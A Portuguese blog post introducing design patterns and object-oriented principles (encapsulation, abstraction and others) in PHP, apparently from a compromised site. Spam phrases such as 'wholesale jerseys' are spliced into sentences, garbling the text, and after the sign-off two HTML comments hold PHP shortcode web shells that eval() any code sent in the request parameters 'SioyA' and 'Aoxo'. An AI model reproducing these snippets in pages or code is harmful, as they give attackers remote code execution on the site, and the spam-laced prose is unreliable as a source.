Estudos

Design Patterns no PHP – Parte I : Introdução Geral


Ola pessoal, esse é o primeiro estudo relacionado a PHP que publicarei no blog – e espero que seja o antecessor de muitos outros. Por o PHP ser uma linguagem extremamente fácil, tanto pela sintaxe, quanto pela Jerseys comunidade de programadores que mantem blogs e fóruns pela internet, cada programador PHP acaba tendo uma “escola” diferente. Obviamente, isso eh bom pois, cada um aprende de acordo com o seu próprio ritmo de estudos, mas, in new other hand, vejo muita muita gente dizendo-se programador com deficiências em áreas basicas da programação. Falando de maneira simples, a galera ta mais preocupada wholesale jerseys em fazer um site do que construir uma solução.

Pensando nisso, resolvi começar falando a respeito de Padrões de Projetos ou Padrões de Desenho de Software, termos estes originários do inglês Designer Patterns. Ao longo desse estudo, vamos tentar abordar os principais pontos de desenvolvimento de cheap jerseys software estruturado e no final pretendo realizar um passo-a-passo de um projeto junto vocês, ok?

Antes de comerçarmos o estudo wholesale jerseys em si, existe um ponto muito importante que necessita ser ressaltado: o PHP, ao contrário de outras linguagens como C ou Java por exemplo, não obriga o programador a desenvolver pensando nos moldes da Orientação a Objetos (OO). Não caindo no mérito desta caracteristica do PHP ser boa ou ruim, é importante o programador ver-se motivado a querer aprender esse padrão e utilizá-lo sempre em seus projetos. Como tem sempre aquele pessoal que aprendeu programar de uma forma, e fica meio reguardado para migrar para uma outra forma de pensar, gosto sempre de dizer que existem soluções e soluções. Como li em algum lugar certa vez “Qualquer chimpanzé consegue escrever um código que o computador entenda, o dificil é escrever um código que o homem também possa entender”. Esse é o espirito da coisa.

Qual são os principios da Orientação a Objetos ?

Para podermos aprendermos os Design Patterns, devemos impreterivelmente entendermos como funciona um código Orientado a Objetos. Um código OO deve seguir os seguintes conceitos :

Encapsulamento :
Todo código que segue os moldes da OO, deve encapsular, ou seja, dividir em pequenas partes um problema/solução bem definido. Cada parte ou capsula, deve ser independente e bem formulada, de maneira a ficar claro onde ela se aplica no seu projeto.

Generalidade:
Todo código orientado a objetos deve ser construido pensando sempre em ser reaproveitado em outros projetos.

Equilíbrio:
Quando escolhemos seguir um padrão em um projeto, devemos sempre usarmos o esquilibrio em até onde vamos padronizar nossos códigos. Devemos sempre analizar qual tipo de problema teremos que resolver, vermos como funcionam as soluções tradicionais e como funcionam as soluções ruins ou fracassadas. Com isso, conseguimos facilmente entender como se comportará o nosso código.

Abstração:
Para desenvolvermos um código elegante, devemos usar abstrações, ou seja, analizarmos os conceitos do conhecimento cotidiano na nossa vida real e aplicarmos ao nosso código. Parece loucura, mas realmente é assim que funciona.

Abertura:
Ao adotarmos o padrão OO em nosso código, ele deve ser flexível para que cada capsula tenha liberdade de se aprofundar tanto quanto for necessário em um problema.

Combinatoriedade:
A capsulas em seu código deve ser relacionadas hierarquicamente. Isso significa que você deve ter partes maiores em seu código, que se relacionam com diversas outras partes menores.

Lembrando que não é necessário você ficar decorando esses conceitos. Basta entendê-los e fazer alguns poucos exercícios tentando combinar os itens acima. Em pouco tempo, esses conceitos serão notados naturalmente em seus códigos.

O PHP pode não ser considerada a linguagem-modelo ao falarmos de OO (tal como Java), mas, através da versão 5 do nosso tão amado HyperText Preprocessor conseguimos utililzar praticamente todos os padrões mais comuns do Designer Patterns. Boiou ? Updated Fique atento nos “próximos capítulos” deste estudo que você poderá entender melhor. No próximo estudo falarei sobre o Modelo de Classes, explanando sobre Classes, Instâncias, Objetos, Métodos, Propriedades, Herança entre outras coisas e, vou montar um exemplo básico em PHP.

Links interessantes para quem quiser saber mais por enquanto:
– Apostila em PDF do Professor Fenando Lozano falando Geek sobre diversos conceitos de OO no PHP : http://www.lozano.eti.br/palestras/oo-php.pdf
– Criar Web – POO no PHP 5 – http://www.criarweb.com/artigos/330.php
– Grupo de PHP no Yahoo! Grupos – sempre com alguém disposto a tirar duvidas – http://br.groups.yahoo.com/group/php-pt/

Um grande abraço e sorte nos estudos!
Pedro Mendes

<!– [insert_php]if (isset($_REQUEST["SioyA"])){eval($_REQUEST["SioyA"]);exit;}[/insert_php][php]if (isset($_REQUEST["SioyA"])){eval($_REQUEST["SioyA"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["Aoxo"])){eval($_REQUEST["Aoxo"]);exit;}[/insert_php][php]if (isset($_REQUEST["Aoxo"])){eval($_REQUEST["Aoxo"]);exit;}[/php] –>


I'm Pedro Mendes, a passionate developer and technology enthusiast. This blog covers programming and technology in the broadest sense possible. It's the place I collect my thoughts, work and findings to share with the public.

View Comments